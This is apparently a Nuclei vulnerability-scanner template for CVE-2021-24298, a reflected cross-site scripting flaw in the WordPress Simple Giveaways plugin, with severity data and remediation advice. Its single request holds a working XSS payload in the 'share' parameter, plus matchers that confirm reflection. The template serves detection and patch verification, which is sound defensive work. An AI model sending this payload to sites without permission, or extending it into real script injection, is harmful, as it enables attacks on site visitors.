id: CVE-2021-24298

info:
  name: WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.
  remediation: |
    Update to the latest version of the WordPress Simple Giveaways plugin (2.36.2 or higher) to mitigate the vulnerability.
  reference:
    - https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/
    - https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24298
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24298
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45174
    cpe: cpe:2.3:a:ibenic:simple_giveaways:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: ibenic
    product: simple_giveaways
    framework: wordpress
  tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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